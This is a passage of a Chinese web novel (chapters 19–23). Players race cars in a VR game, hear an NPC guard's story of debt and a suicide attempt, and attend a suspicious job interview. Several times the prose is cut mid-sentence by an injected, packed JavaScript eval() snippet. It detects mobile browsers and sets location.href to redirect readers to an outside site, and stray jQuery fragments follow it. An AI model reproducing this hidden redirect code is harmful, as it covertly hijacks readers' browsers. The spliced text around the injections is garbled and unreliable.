在我四处看光景的时候，没注意到天蓝色的跑车已经开始越开越快，试图甩开我们了。 我是通过身旁镜舟的反应猜测到这一点的，镜舟突然狠踩油门，明显的推背感提醒我追逐的戏码要开始了。 唯月已经不再安分守己地守着一条车道行驶了，而是见缝插针地一辆一辆超过挡住他前路的任何车辆，有的时候车与车之间的距离有些窄，似乎不足够让他并线，他也会毫不犹豫地利用刚刚好的距离快速冲到前面去。他现在的车速肯定超过８０了，因为此时桥上车辆的速度明显都低于天蓝色跑车，对于唯月来说，所有在他前方的车辆，随着他的靠近，都将变成他面前的阻碍。 镜舟此时追上唯月还不算吃力，他并不是次次都选择和唯月一模一样的变道路线，实际上，四排车道都是他的选项，他唯一要做的就是盯紧唯月的那辆车，不让他把自己甩开。 唯月应当是透过后视镜发现了自己总是被我们这辆黑色跑车紧紧咬住，他更频繁地超越前方车辆，此时他超车并不一定是为了让天蓝色的跑车行驶速度更快，而是为了给我们跟住他制造障碍。然而镜舟还是能够追上他，有几次我感觉我们的车子马上就要和旁边的车子碰到了，但镜舟还是能够以过人的操控能力精确地躲过。 刚刚天蓝色跑车还在第三排车道，黑色跑车在第四排车道，明明天蓝色跑车面前没有任何遮挡，唯月可以一脚油门踩到底地加速前进，他却突然减速让我们超过他，然后自己迅速变更到第二排车道，躲到一辆大客车的后面。 镜舟应该是没有料到唯月会突然来上这么一招，只好继续以之前的速度行驶，没有立即盲目地变道。我们的视野被那辆大客车挡住了，根本看不到天蓝色跑车的踪影。 这是把我们成功地甩开了？唯月跑到哪里去了？他不可能一直以低于我们的速度行驶，因为这个游戏比的就是谁先到达终点，唯月暂时的落后也只是为了迷惑我们，他最终一定是要奋力向前，要和我们拉开巨大的距离的。 镜舟许是也想到了这一点，黑色跑车全力加速，车窗外的一切似乎都在变得越来越模糊。镜舟一边寻找，一边往第一排车道的方向逐次变道，当我们驶入第一排车道的时候，发现唯月果然在这条车道的前方，与我们拉开了有百米以上的距离。 道路的前方已经可以看到跨海大桥连接的山体隧道了，在隧道面前原本按照出市区进市区不同方向上下分层的道路开始合二为一，道路并网在一个水平线的高度上，只以绿化带作为隔离。以这个速度跑继续奔驰，不到半分钟我们就将驶离大桥，进入隧道。隧道尽头便是城市中心道路，到那时很快就能到达１１１大厦。 我们两辆车的速度都很快，天蓝色跑车仍保持领先，但黑色跑车也毫不示弱。在我们的右侧，也就是第二排车道上，出现了一个延绵不断的军用车队，我们现在位于车队的后方位置，我往前望了望，这个车队大概有七辆货车，每辆车都是墨绿色，车身一尘不染，各个都配备有军队的车辆牌照，可能是正在执行什么特别的运输任务。 天蓝色跑车要领先于车队的第一排车辆两个车身的距离，令我万万没想到的是，唯月竟然突然加速度并线驶向军用车队第一辆车的面前，然后又一个急刹去别车！我看着天蓝色跑车刹车灯亮起的时候脑子一整个震惊了，好吧，我只能安慰自己这只是游戏世界，唯月在现实世界中不会这么胆大包天。 军用车辆自然是响亮地按着喇叭，幸亏那个车内的司机ＮＰＣ没什么脾气，要不然任谁都一定想要立即放下车窗大骂前方司机是不是赶着投胎。 按着喇叭也没什么大用，毕竟此时的车速就算是马上踩刹车也来不及减速了，第三排车道上还有别的轿车挡路，军用车辆唯一的选择就是往左打方向盘，镜舟此时只能脚踩刹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712074|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车，降低车速，前方搞不好会出现连环追尾，我们要提早做好避让的准备。 天蓝色跑车这个始作俑者把人家好好行驶的车队硬生生别到其它车道，自己却没事儿人似的驶离了。 军用车队的首辆车在采取紧急制动、调整行车方向等方式及时应对之后，最后车身斜过来堪堪躲避了前方的跑车，但却还是迎来了车身侧翻的下场，而没能毫发无伤地避让，车队之后的每一辆货车都在急刹，好在没有出现连环追尾的糟糕情况。 只是唯一的问题在于，我和镜舟前进的路被堵死了，而我们此时已经没办法通过变道来更换路线，因为旁边的是被逼停的军用车队车辆，我们身后也因为前方的突发事故而聚集了越来越多的车辆。现在我们这辆黑色跑车是处于进退两难的境地，只能眼睁睁看着天蓝色跑车驶入山中隧道。 哎，这场比赛是赢不了了，我已经准备好放弃。 “坐稳了。”镜舟忽然低声对我说。 随后我马上发现镜舟竟然没有选择把车停下来，而是踩向油门。跑车的加速度就是快，镜舟双手扶稳方向盘，笔直朝前开。 这是什么意思呢，我们道路的前方只能见到侧翻货车的车底盘，现在这样开足马力是要撞上去吗？ 我虽然看着前方忍不住疑惑地想，可是心里竟然一点也不害怕，只是感觉到难得的紧张和刺激。 眼看着黑色跑车就要撞到前方的墨绿色货车了，镜舟却慢慢移动着方向盘，跑车冲刺方向发生偏移，我们冲向了道路中央的绿化带。 “嘭”的一下，我感觉人跟着车子都飞起来了。 “咚”的一声，我们越过绿化带，落在对向的车道上。 对面一辆白色的ＳＵＶ朝着我们狂按喇叭还闪着远光灯，不好意思了啊开车的ＮＰＣ大哥，我刚才还说唯月有点在游戏世界里过于嚣张了，没想到镜舟更是让我大跌眼镜。 黑色跑车落地后镜舟一秒钟的时间也没耽搁，立即踩着油门握住方向盘调整方向，专注地开始利用这反方向的车道进入前方隧道。 我想他应该知道我们现在要是往前方隧道开的话，同样是逆行吧。 跨海大桥连接的隧道一分为二，中间有山体相隔，出市区和进市区的车流各走各的路，互不打扰。而此时我们这辆逆行的跑车正混入出市区的车流中，全速前进。 “害怕的话就先把眼睛闭上。”镜舟此时竟然还能分神，不忘提醒我，我心想他可实在太贴心了，这个紧要关头我还是能够照顾好我自己的。 我连忙摇了摇头说“不用”，此时的画面太难得，我只想瞪大眼睛看个够…… 我们驶入隧道后，与其说我们害怕对向车辆，不如说对向车辆像是见了鬼一样地害怕我们。但是他们恐怕连更多的反应时间也没有，因为镜舟已经把跑车的速度开到极限，我不知道他是凭借怎样惊人的反应能力躲开前方的那些车辆的，可他就是躲开了，甚至没有给对方留下反应的机会。 也幸好如此，如果对向来车看清楚有一辆黑色跑车飞一般地冲他们奔来，他们情急之下说不定会乱打方向盘，反而会使隧道内路况变得加倍危险。万一形成新的碰撞和拥堵，那我和镜舟真是彻底出不去了。 当我最后重又看到隧道外的阳光的时候，心中畅快极了。 镜舟挑准时机越过双黄线，回到了入市区的车流中，天蓝色跑车只在我们前方半个车身的位置。 我知道，已经没有什么可以阻拦我们前进。 最终，黑色跑车先行到达１１１大厦门前的停车场，当我和镜舟齐齐下车，关上车门以后，天蓝色跑车才姗姗来迟地驶入。 车停稳后，罗小星第一个开门下车，嘴里不停念叨着，“疯了，简直是疯了。” 20. 第 20 章 “我玩游戏这么久了，今天才知道我原来有３Ｄ眩晕症！哎，我们到１１１大厦了吗？”罗小星下车之后就扶着车门，此时又仰头看向面前的摩天大楼，“不行不行，这一抬头我头晕得更厉害了，我得摘下眼镜缓一缓……”话说完罗小星就站在那一动不动，基本上处于脱机状态。 唯月从车里走下来，优哉游哉的，他先瞅了一眼罗小星，“你什么水平啊罗小星，这才开了几分钟就这样。”然后又看向镜舟，只是笑了笑，却不说话。 “你想怎么样？”镜舟看着唯月的脸问道，我第一次听他用这么冷峻的语气与人说话。 “镜舟，你不会是生气了吧？原来你也会生气吗？我说了，就是玩个游戏而已啊，还能怎么样？”唯月摊了摊手，一副满不在乎的样子。 “游戏里赢的人是我。” “我已经看到结果了，恭喜啊，你真是个优秀的对手。” “你做的事情我都知道。” “什么意思？镜舟，你说的话真是让人听不懂。”唯月疑惑，“我有做什么瞒着你的事情吗？” “你想赢，可以。不要再用那些见不得人的手段。” “哦，你说的是桥上的事啊，那当然不算什么啦，比赛嘛，无非就是我比你快，或者你比我慢，增加一些小插曲，无伤大雅。”唯月说到这，语气顿了顿，“而且我如果不那么做，又怎么会知道镜舟你竟然还具备这种让常人无法企及的能力呢？” 镜舟没有搭腔，两人就那么对视着。 气氛一时之间有点怪怪的，我上前打个哈哈说道：“两个小伙子怎么了嘛这是，玩游戏可以，可不许玩急眼啊，怎么跟小孩儿似的。” 镜舟走过来用右手握住我的左手，我愣愣地看着他，不明所以。 “哎呀兄弟萌，我休息好了。”罗小星忽然走过来站在我们三个人之间，“刚才你们说啥了，我是不是错过什么关键的对话了。还是镜舟大哥厉害啊，以后唯月再头脑发热要飙车，你就给他点厉害瞧瞧。” 我赶紧给罗小星使眼色，这个输赢的话题还是不要再继续下去了。 罗小星看了看我，又看了看沉默的镜舟和唯月二人，大概也是感觉到几分不自在，故作掩饰地咳嗽了两声，“咳咳，那什么，友谊第一，比赛第二。这页翻过去了啊，咱们不提了。那什么，咱们是不是今天就到１１１大厦报道去啊，坦白说，我有点儿累了。” “明天吧，今天大家也都玩儿了挺久的了，好好休息一下。”我赶紧提议，每个人都该休息下，即便是带来乐趣的游戏，一直玩下去也会让人变笨，且周身充满戾气。 这一日的耕耘算是结束了，还不赖，完成了老先生的嘱托之后，还成功解锁了新区域，收获满满。 关掉游戏之后，我摘下了ＶＲ眼镜，此时此刻的我，依然孤身一人呆在客厅里。 下班之后回到家里我便把窗帘都拉上，在玩游戏以前我便把客厅一角的落地灯点亮，夜已深了，大部分人都进入了梦乡。我和他们有一点相像，我也是选择进入梦里，不一样的是，我的梦真实感要更强烈一些。暖黄色的灯光静静地陪伴着我，客厅也因此显得温馨起来。 我周围没有什么无字碑和枝叶葳蕤的槐树，没有四象石和真龙雕像，我没有坐过拉风的黑色跑车驰骋在跨海大桥上，我也没有看过一个名叫镜舟的人温润如玉的笑容，但我却有关于这一切的记忆，那么清晰，近在眼前，且让我如此贪恋。 明天还要早点起床，按时上班，为了维持夜夜如此的幻梦，每个白天都要兢兢业业、勤勤恳恳地工作，禁止摸鱼，全神贯注投入其中。 虽然理智上知道要这么做，要快点去睡觉，但是躺在床上的我精神上却很亢奋，久久没有等来睡意。我想起来刚才握紧我的镜舟的手，这是两个人通过触觉手套传导的接触吗？我握到的不是镜舟的手，而仅仅是游戏硬件设备模拟的触觉，一想到此我突然觉得心里刺痛起来。 三天前，是镜舟用他强有力的右手救我免于坠落山崖，时间过得好快啊。我希望时间过得快一点，这样我就可以认识镜舟再久一点，可我又希望时间过得慢一些，这样我便可以好好温习和镜舟相处的每个画面。 伴着这样的心情，我终于在天亮前睡去了。 接下来的这一天，我们四人默契地几乎在相同的时间上线。大家也未作耽搁，上线之后视线都纷纷落在面前这座高楼大厦上。 “这就是南城的１１１大厦啊，昨天头晕眼花来不及看清楚，这栋楼可真是高啊，我从未见过如此之高的建筑物……”罗小星一边感叹着一边仰着脖子往上看，“我要是用手指头一层一层地数能数得过来吗？我试试啊，１层、２层……” 罗小星数到１３层的时候放弃了，“不行，太高了，脖子累得慌，而且眼睛数着数着就串行了。” “你是认真的吗，罗小星？你知不知道这楼为什么叫这个名字啊？”唯月把墨镜摘了瞪大眼睛看着罗小星。 “因为什么？１１１大厦，名字很正常啊，呃，不会是因为这栋楼有１１１层吧？”罗小星不确定地问道。 “很有可能，我打赌五毛钱，这楼就这么些层。” “什么嘛……你不也不确定嘛。” “这楼确实够高的，一眼望过去都猜不出有多少米？镜舟，你感觉这大厦能有多高？”我抱有和罗小星一样的惊叹。 “结构高度５００米以上。” “什么是结构高度？”我和罗小星同时发问。 “……不包括建筑附属物的高度。” “哦～”罗小星点了点头，“没听懂……我看不如先别在外面研究了，我们还是快点儿进去看看吧。” 我刚一通过一楼的旋转门进入大厦内，面前便浮现出那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我抬眼打量了一下说话的这位中年男人，他穿着一套保安的制服，身形消瘦，肩膀略有佝偻，仔细看他的面容也就三十五岁左右的样子，可他的身形却给人以与他面容不相匹配的苍老之感。他嘴唇很薄，下巴略有胡茬，眼中泛着红血色，看起来缺乏良好的休息。 “你们怎么不回答？本大厦不欢迎外人进入，没事情的话不要长时间在大厅内逗留。” “哦哦，那什么……我们有事情的，请稍等一下啊。”罗小星支吾着，他马上拿出手机翻找，试图从中找到合适的理由。 “小仇！哎呀我说你怎么又过来了，不是刚刚都带你办好离职手续了吗？这套制服你不要穿了。你这不是影响我正常工作么？”一个同样穿着保安制服、身材肥胖、面容和善的大哥走了出来，他看起来要比瘦保安岁数大上好几岁，整个人给人的感觉是很精神很有活力的。 “哦。”被称作小仇的瘦保安很温顺地点了点头。 “别愣着了，去更衣室把衣服换下来吧。”胖保安吩咐道。 瘦保安点了点头，看也没看我们一眼就离开了。 胖保安这时候才有空跟我们打招呼，“你好，你们来１１１大厦是来办什么事情的？刚才那位是我的同事，哎不对，是曾经的同事，人其实不错的，就是有时候脑袋犯糊涂。” 21. 第 21 章 “哈？刚才那个人不是真的大厦保安啊，吓我一跳，我以为都要被撵出去了。”罗小星拍了拍胸脯，有些忿忿，“保安大叔，这么气派、南城中独一份的大楼，管理应该更像样一点啊！怎么能随随便便就让奇怪的人对我们指手画脚的……” 保安大叔仿佛回应一般地点了点头，但没有接着罗小星的话茬说下去的意思，他只是一位ＮＰＣ，我们和他交流是否能够取得实质性进展还要看游戏策划当时是怎么设定的。 “你们在这里稍等一下好吗？”胖保安说完便转身去追瘦保安，快步走到他的身边低声与他耳语了几句，随后还拍了怕瘦保安的肩膀。瘦保安再次点了点头，随后打开身旁的一扇门走了进去。 “不好意思啊让你们等了一会儿。”胖保安面带笑容地回来对我们说，“小仇这个人本质不坏的，我估计他刚才是又糊涂了，以为自己还在岗位上，所以把你们叫住了。对此我真是感到抱歉，其实是我失职了，我之前有点儿事上了楼，一楼大厅本来是我的执勤范围。让你们误会了，他其实也是在帮我的忙。 “对了，你们来这里是做什么事情的，大厦里的大部分楼层都被租出去了，有不同的企业在工作，外人不能随便出入，这里不是商场，你们是不是来错地方了。” “我们没有来错，今天到这里是来参加一个网络公司的面试的。”我向前迈出一步对保安说，然后又回头小声对其他人说道：“大家看看刚刚分发的手机上是不是都收到了一个日程提醒：今天下午三点整要到１１１大厦５层５１３室接受面试。” 方才我点亮屏幕的时候就瞥到手机桌面上有这个日程提醒，在胖保安和瘦保安对话的间隙我浏览了下日程的大致内容。想来特典活动中不会无缘无故地让玩家看到这条讯息的，那我不如就顺水推舟地利用起来。 “还真是诶！但是房间号不一样，我在５１２室，不过都在第五层哈。”罗小星还挺高兴，“保安大叔，我们是来应聘的，到大厦五楼来应聘。你可以看看手机上的讯息。” 罗小星说完便把手机递到保安面前，保安认真地盯着手机读了一下，“哦，那我打电话问问，和这个公司确认过后，你们就可以上去了。” “您好！”保安刚想离开打电话，我便叫住了他，“我想请问一下，您刚才说的那位叫小仇的保安，他发生什么事了，他以前也在这里工作吗？” “小仇啊？”保安陷入沉思，欲言又止，“你想知道他的事情吗？其实他现在也确实需要别人的帮助，能有人搭把手当然是最好的了。” “对的，我想知道。或者正像您说的，我说不定也能帮助他，但我需要知道他遇到什么迈不过去的坎儿了。” 在游戏的世界里是奖励好奇与探索的，之前过关的任务给了我经验，如果青龙门中老书生和他的故友之间有羁绊，那这一次，这两位保安之间是不是也有等待玩家了解的友情故事呢？ “小仇比我岁数要小七岁，我算是他的大哥了，我和他比，生活还是很安逸的，他经历了不少事情，到现在也没成家，按照眼下的状况，我看他以后就算是想找个媳妇儿好好过日子，怕是也难了。我们当过一阵子的同事，都是大楼集团下属的保安，但远在我来到１１１大厦工作之前，他就是这写字楼里的公司职员了，那可是正儿八经的白领，工作也体体面面的。小仇不像我，我不是念书那块儿料，小仇可是念过好大学的。在写字楼里当白领的时候，他那可绝对算是个有为青年。我那时候就见过他几次，对他有印象，因为他一点儿也没有瞧不起我们这些当保安的，他上班来得早，有时候加班到很晚才离开，打了几次照面后我就记得他的面孔了，他虽然不认识我，但见了我也会点头，或是微微一笑，很礼貌。 “后来我也是听别人说的，小仇工作了几年以后，工资好像一直都没涨多少，可能是年轻人心气儿高？总想趁着年轻去挣大钱，他就尝试别的路子，说是有一阵子尝试跟着别人炒股，还真是挣到了大钱。小仇不是南城人，家是外地的，但是读书好，考上了这里的大学，后来我和他熟悉了以后才知道，他的爸爸在他还小的时候就去世了，全靠妈妈给他拉扯大，小仇特别孝顺，对妈妈很好，也想把妈妈从老家接过来，在南城安家。可是房子这东西也不是说买就买的，钱不够就慢慢攒呗。炒股挣钱那段日子，我一开始也不知道，只是看看他有段时间天天上班精神抖擞的，可是没隔几个月人就跟霜打的茄子似的全蔫儿了。走进大厦经过一楼大厅的时候视线也没落到我这，好像有一肚子的心事儿。我那时候也没问，心里想着他可能是工作太忙了？现在想想真是后悔啊，我应该早点儿和他认识的，说不定那时候及早开导开导他，他就不会年纪轻轻地走弯路。 “炒股这东西我也不懂，我只知道天上哪有掉馅儿饼的好事，就算真有这种好事，那别人也不是傻的，其他人不都早抢破头了，还能轮得到我这种笨人？小仇刚开始是挣到钱了，这东西就跟赌博似的，一看到来钱来得这么快，心就跟长了野草一样，挣一万想两万，挣两万想十万，小仇把自己工作好几年的积蓄都投进去了，可能是想下大本赚大钱吧！可是说不准是运气不好，还是说天生没那个富贵命，他加大投入以后，那股市就成天跌。要是那时候他能及时收手倒也不错，可是他千不该万不该又去跟别人借钱，他是陷进去了，满心满脑子想的都是回本，可是他越是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712076|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么想就陷得越深，最后弄得自己已经很难上岸了。 “借给他钱的那些人我不认识，听说是一个什么乱七八糟的公司，而且就租了这个大厦内的几个房间。他们是指着从小仇身上扒层皮挣钱啊，借钱的利率都快赶上高利贷了！小仇也是，输红了眼，什么钱都敢借！ “老话说得对啊，真是屋漏偏逢连夜雨，船迟又遇打头风。正赶上这个节骨眼儿，小仇的妈妈还得了重病。老太太也是不容易，年轻的时候辛辛苦苦一个人把孩子抚养长大，这好不容易把孩子供着念完大学了，看着孩子工作了，结果还来了这么一出，跟着小仇为这些钱的事儿担惊受怕，可能是跟着上火着急憋出病了吧，也可能是之前太劳顿了最后积劳成疾，总之老太太是这一辈子都没享上什么福啊。 “这事儿和事儿在一起都赶上了，小仇到底还是年轻，也是时运不好，实在是撑不住了，走了极端。他一方面要填补之前的窟窿，一方面要应付步步紧逼的追债公司，最重要的是他还要带着老母亲奔波于一个又一个的医院，天天挂号看病住院，忙得不可开交。本来也就是个本本分分上班的普通人，这一下子千头万绪的怎么能处理得好，工作能力肯定是不比以往了，久而久之公司要辞退他也不是难以理解的事，家里有病人要照顾，有几个人能兼顾好工作与生活啊！ “他被公司辞退后，又来了一两次，我以为是要找公司的主管求求情，现在想想可能是小仇发现之前那个高利贷公司有问题，据说那个公司骗了不少人的钱，具体我也没弄明白，反正是这个公司已经搬离大厦了，小仇好像或多或少也卷进去这些事儿里，得知自己被骗后，小仇算是彻底撑不住了，他趁别人不注意，来到１３层一扇大开的窗户前，准备跳楼！这事儿当时闹得挺难看的。 “小仇把着窗户大声控诉，说自己是怎么借的钱，又是怎么被骗，现在过得有多困难，丢了工作，没了存款，还要照顾病重的母亲。那天不是我值班，听人说楼下一开始倒也聚集了几个看热闹的人，大楼集团的经理迟迟没有露面，说是打电话请求救援了。小仇原先公司的主管自始至终都没有出现过。楼下的人看着看着也都麻木了，没有什么人好好地劝劝他，这事儿大家也都不知道要怎么劝，我也理解，弄不好还会让楼上的人情绪更激动。 “小仇扒着窗户站在窗台上能有一个多小时，嗓子也喊哑了，围观的人也看累了。消防车在楼下铺好了安全气垫，在专业人员上前干预之前，只有一个人掏心掏肺地劝小仇下来。 “你们猜那人是谁？对，就是他的妈妈，只有他的妈妈。不知道老人家是怎么知道的，老人赶来以后就立马跪在地上声嘶力竭地喊她儿子下来。” 22. 第 22 章 “最后小仇是自己从窗台上爬下来的。我以为这事儿就这么结束了，日子该怎么过就怎么过呗。可是从那天起，小仇说话就神神叨叨的，让人听不懂，他说他那天本来都已经松开双手，挺直身子站在窗台上了，他还往下望了望，而且一点都没有害怕。他已经做好跳下去的准备了，根本听不见周围的人在说什么。可就在他跨出那一步之前，一只周身血红血红的鸟飞到他的眼前，在他面前盘旋不去，鸟儿仿佛在告诉他，不能死，不能死。 “他这么跟我说的时候，我也没有打断他，我当然是不信的，我都多少年没见到什么红色的鸟了。可是如果小仇说这是理由，能让他心里好受一点的话，那就由他吧。后来可能是大楼集团的经理看他可怜吧，就留了一份保安的工作给他，他虽然有时候说胡话，但是工作还是尽职尽责的。只是他妈妈目前的病情越来越严重，他缺勤的次数太多了，经理最后还是把他辞退了，今天刚办完的手续。他以前的欠债都还清了，但是看病这块就是个无底洞，也不知道以后要怎么过下去，我们同事中有年轻人帮他弄了个捐款，如果你们有余力就帮帮他吧。 “小仇的事情就是这样的，谢谢你们愿意花时间听我说到这里，我该到办公室查下通讯录，给你们的面试公司打电话核实了。麻烦你们在这里稍等一下，那边有沙发可以休息。”保安说完就走了。 “我们还要站在这里呆多久啊，思婷姑娘，如果不是因为你的话，我是断然不会听这位保安发这么久的牢骚的。”唯月说完仰着头闭了闭眼睛，一副很不耐烦的样子。 “这位小仇师傅挺不容易的啊……”罗小星说道。 “怎么不容易了？要这就是不容易的话，那这个世界上不容易的人实在是多得数不过来了。” “唯月，你说这话就有点冷血了吧！人家都走到要跳楼那一步了，你还在这说风凉话！”罗小星与唯月争辩起来。 唯月不怒反笑，“我冷血？罗小星你多大啊？你是没见过这个世界是什么样子的么。这位你口中的小仇师傅，股票是自己买的，钱是自己借的，对，他是突然间不得不面对亲人生病的变故，可有句话不早就说过了么：天有不测风云，人有旦夕祸福。每个人对这样的事情都要有点心理准备。他是遇到了不法公司，可是在我看来，如果他不是贪念太重，赌性太大，这个不法公司想骗他都骗不到。” “叫你这样说，人家现在活得这么辛苦倒纯粹要怪自己活该了？” “我没这样说。我只能告诉你，要想有尊严地活着没那么容易，他遇到的困难也是大多数人都会遇到的困难，不是每个人遇到这种事都要通过爬上窗台闹跳楼来解决的。” “哼……”罗小星不再说话，但看起来还是不怎么服气的样子，转而又对我说道，“思婷姐姐，我们要不要给小仇师傅捐点钱呢？” “呦，这还开始做慈善了？我没记错的话，仇师傅想不开要跳楼的时候没提自己炒股这件事儿吧，人都更愿意有选择性地把易于被人同情的事实列出来，而隐藏另一部分。给ＮＰＣ捐钱，你确实很有善心。再说，罗小星，你有钱吗？” “唯月，我要告诉你，第一，我想捐就捐；第二，我知道这是游戏，所以ＮＰＣ不会毫无缘由地就跟我们说这一大堆话，如果捐钱可以触发任务，我为什么不试一试。” “行行行，反正我不捐，这种情况下捐钱给他就是害他。” “你又在胡说八道！怎么会是害人家呢！” 恰在此时，胖保安回来了，还没等他开口，罗小星便先跟他提捐钱的事，这果然触发了保安的行为，他拿出手机亮出一个公益网站的二维码，我们手机扫码的时候正好看见手机网银上显示银行卡有可供扣款的余额，钱不多，但反正也是捐款，有一点就足够了，除了唯月以外，我们都捐了一些钱。 其实即便罗小星不去问我也会问的，我的理由和罗小星差不多，不过我还有一点别的原因。我和仇师傅有一点相似之处，我也曾经为父母的事情饱受煎熬，虽然事情都过去了，但并非没留下任何痕迹。但我要幸运得多了，正确的诊断以及治疗是很不容易的，照顾病人也很难，好在我有亲戚的帮扶和支撑，面对亲人的离去不是一件容易的事，只能等待时间过去。 “我和同事们还没有告诉小仇这件事，怕他不要，我们准备直接去医院把钱交给他的妈妈，他妈妈一个月前做过手术，现在恢复得好一些了，希望这些钱能让她更有勇气面对康复的日子，这也是我们这些同事最后能为他做的一点事了。感谢你们。 “越来越像一场骗局了。”唯月悄声说，罗小星气愤地推了他胳膊一下。 “我刚刚打电话和楼上的公司确认过了，你们可以上去面试了。” 队伍频道浮现出一行系统提醒：任务已接受。 “太好了，成功接到任务了，不过，应该是面试的事情，如果面试成功是不是就完成任务了？可是，这和捐钱不发生关系啊。”罗小星看到系统提醒后马上肉眼可见地欢快起来，“算啦，这也没关系，就当是做了一回好事了。我们现在可以出发啦。” “电梯在那边，前方左转。祝你们面试顺利。”保安伸手为我们提供指引，说罢他就走开了。 我们走到电梯间那等电梯的时候，罗小星看着在电梯门上闪烁的楼层数字，激动地说道，“还真让唯月说对了，１１１层诶，这个电梯是从１１１层下来的！” “１１１层又怎么样，这栋楼建得再高，和你，和我，又有什么关系？” 说话的人是仇师傅，不知道什么时候他突然来到我们身后，还是那身衣服，并没有换下来，应该也是来等电梯的，他说话的语气冷冰冰的，说不清楚为什么，听得我有些害怕。 电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这里是一个小房间，只有一张桌子，两把椅子，和身后的一排储物架，让我没想到的是，架子上全是一排排的手机，且基本上都在充着电。 “您的名字是？”贾经理已经落座了，我只能收回目光，在她的对面坐下。 “我叫莫思婷。” “哦，我看到了您之前投递的简历……您是高中学历？” 我不是，但我也只能点头了。不知道这特典剧情给我安排了一个什么应聘身份，我只能等着贾经理告诉我了。 “我看到您之前没有任何工作经历，您今年二十四岁，有没有考过什么职称以证明您的工作能力？您的简历并没有注明您曾经考取过什么证书。” “我的简历上没有写的话，那我就是没有了。”我今年二十四岁？我倒很希望这是真的。 23. 第 23 章 “我们这家公司虽然是初创的企业，但也一直是都在很正规地运营的，我们有专业化的管理团队，执行严格的考勤制度，我们的薪资标准是和绩效考核结果相挂钩的，只要您的ＫＰＩ相关指标达到标准，工资就能得到保障，而且您的日常工作表现得越好，奖金越高，报酬越丰厚，这一点您可以放心。 “公司该有的部门都有。我是人事部的，此外还有业务部、财务部、技术部、法律部、行政部等等，我看您应聘的是业务部的基础岗位，业务部的岗位要求员工具备良好的沟通能力和优秀的应变能力，在面对客户的具体场景中，能够快速精准地识别客户需求，并提供与之相配套兼容的个性化服务。您认为自己具有胜任本公司业务部门基础岗位的工作能力吗？请谈一谈您的看法。” “我沟通能力不怎么样，与人说话交谈我从小到大向来都不擅长……应变能力嘛，差强人意吧，至于识别客户需求方面，我没有从事过这方面工作的相关经验，不知道自己的真实水平是什么样。”我如实回答自己对于岗位匹配度的看法，然而我觉得无论我是把自己往好了说还是往坏了说，结果都是一样的。 “好的，我们会结合您的回答对您做一个岗位适应性评估，不过您也不用过分担心，如果您最终被本公司录用，针对所有业务部门的新入职员工，公司都会安排统一的岗前培训，发放业务操作手册，安排业务骨干人员进行一对一辅导，并对业务流程中的重点难点进行反复地讲解，帮助您更好地理解，以便日后您能在工作中更加得心应手地运用。请您相信，经过一定时间的培训，您一定可以很好地完成本职工作。” 贾经理信誓旦旦地跟我说，我感觉我不是在接受面试，我简直下一秒就可以参加岗前培训了。 “我能不能问一下，我应聘的岗位具体是做什么业务的？比如说，是属于哪一类行业的？” “您的面试已经结束了，我已经对您的工作能力有了一个大致的了解，接下来我会和人事部门的其他同事做一个讨论，来决定您最终是否会被聘用，您等着手机上的讯息提示即可。因为最近应聘本公司岗位的求职者人数众多，所以如果最后没被聘用，您也不用灰心，祝您前程似锦，一切顺利。谢谢您来参加我们的面试。”贾经理说完之后便站起来与我握手。 我茫茫然地与她握手之后，贾经理就示意我可以出门离开了。 我顺从地起身离开，打开门之后，外面开间里的每个员工仍旧在聚精会神地盯着电脑屏幕打字，对我看都不看一眼，我想这可能是我与他们这辈子唯一的一次照面，我走出了５１３室房间。 出门之后，我看到了镜舟他们三个人站在走廊上等我。 “思婷姐姐，为什么我的简历上被写得那么苍白无物啊，我好担心贾经理不会录用我，那我不是就无法完成任务了？”罗小星站在原地有些惶恐不安地对我说道。 “你也是贾经理？哦，没关系，我的简历一样没什么内容。”我语气平和地回答罗小星的疑问，我猜测我们几个人虽然去的是不同的房间，但面对的应该是一样的场景和套路。 “啊？思婷姐姐，你难道就一点都不担心吗？” “担心，怎么能不担心。”唯月抢先回答道。 “我就说嘛，唯月，你觉得你自己会被录用吗？” “我和思婷姑娘担心的是你的智商，罗小星。” 我哑然失笑，颇为无奈地看了看罗小星。 “什么意思？”罗小星不解其意，但看表情，也隐约知道了自己有哪里不对，属于被唯月嘲笑的对象。 “镜舟，你和我们想的是一样的吗？不然你告诉罗小星我们三个人的看法吧。” 镜舟看向罗小星，很笃定地说：“这个公司是假的。” “哈？哪里是假的了？”罗小星一脸的不敢置信，“不是有很多人在办公室里好好地工作吗？贾经理态度那么好，说话一套一套的，让人如沐春风。” 